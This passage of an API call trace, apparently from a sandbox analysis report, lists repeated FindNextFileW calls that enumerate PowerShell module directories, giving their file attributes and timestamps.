cAlternateFileName="")) returned 1 [0145.226] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff3c0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeliveryOptimization", cAlternateFileName="DELIVE~1")) returned 1 [0145.227] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc08f2e6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectAccessClientComponents", cAlternateFileName="DIRECT~1")) returned 1 [0145.227] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dism", cAlternateFileName="")) returned 1 [0145.227] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc090fdc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DnsClient", cAlternateFileName="DNSCLI~1")) returned 1 [0145.227] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc12f1ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EventTracingManagement", cAlternateFileName="EVENTT~1")) returned 1 [0145.227] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc12f954, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="International", cAlternateFileName="INTERN~1")) returned 1 [0145.227] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc130082, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iSCSI", cAlternateFileName="")) returned 1 [0145.228] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc130565, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0145.228] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kds", cAlternateFileName="")) returned 1 [0145.228] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0145.228] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc132049, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0145.228] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc132470, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0145.229] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc13289f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1826502a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.LocalAccounts", cAlternateFileName="MICROS~1.LOC")) returned 1 [0145.229] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc1b1554, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0145.229] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0145.229] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc212127, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0145.229] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc21280f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0145.229] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc212c4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0145.230] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc213093, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMAgent", cAlternateFileName="")) returned 1 [0145.230] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsDtc", cAlternateFileName="")) returned 1 [0145.230] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20bc0906, ftCreationTime.dwHighDateTime=0x1d32773, ftLastAccessTime.dwLowDateTime=0x2397fa76, ftLastAccessTime.dwHighDateTime=0x1d32773, ftLastWriteTime.dwLowDateTime=0x2397fa76, ftLastWriteTime.dwHighDateTime=0x1d32773, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMQ", cAlternateFileName="")) returned 1 [0145.230] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc2679e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e8ec2c6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetAdapter", cAlternateFileName="NETADA~1")) returned 1 [0145.230] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc268719, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e8ec2c6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetConnection", cAlternateFileName="NETCON~1")) returned 1 [0145.230] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc268cf6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e912528, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetEventPacketCapture", cAlternateFileName="NETEVE~1")) returned 1 [0145.231] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc2dd6b5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e912528, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetLbfo", cAlternateFileName="")) returned 1 [0145.231] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc34165b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e938796, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetNat", cAlternateFileName="")) returned 1 [0145.231] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc3421c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e938796, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetQos", cAlternateFileName="")) returned 1 [0145.231] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetSecurity", cAlternateFileName="NETSEC~1")) returned 1 [0145.231] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc425b0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e95e9fc, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetSwitchTeam", cAlternateFileName="NETSWI~1")) returned 1 [0145.232] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc426217, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e984c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetTCPIP", cAlternateFileName="")) returned 1 [0145.232] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc468c21, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e984c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkConnectivityStatus", cAlternateFileName="NETWOR~1")) returned 1 [0145.232] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkSwitchManager", cAlternateFileName="NETWOR~2")) returned 1 [0145.232] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5046f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9aaec8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkTransition", cAlternateFileName="NETWOR~3")) returned 1 [0145.232] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc50532d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9d112b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PcsvDevice", cAlternateFileName="PCSVDE~1")) returned 1 [0145.232] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PKI", cAlternateFileName="")) returned 1 [0145.233] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5a46ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9d112b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PnpDevice", cAlternateFileName="PNPDEV~1")) returned 1 [0145.233] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5a53a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9f739d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrintManagement", cAlternateFileName="PRINTM~1")) returned 1 [0145.233] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc6cc509, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea1d607, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0145.233] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0145.233] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8049ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea69acb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0145.233] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc804db7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0145.234] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8051d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSWorkflow", cAlternateFileName="PSWORK~1")) returned 1 [0145.234] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8055f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSWorkflowUtility", cAlternateFileName="PSWORK~2")) returned 1 [0145.234] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc90f57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScheduledTasks", cAlternateFileName="SCHEDU~1")) returned 1 [0145.234] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecureBoot", cAlternateFileName="SECURE~1")) returned 1 [0145.234] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c0cbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c1e1cae, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmbShare", cAlternateFileName="")) returned 1 [0145.234] FindNextFileW (in: hFindFile=0x1cbf2982850, 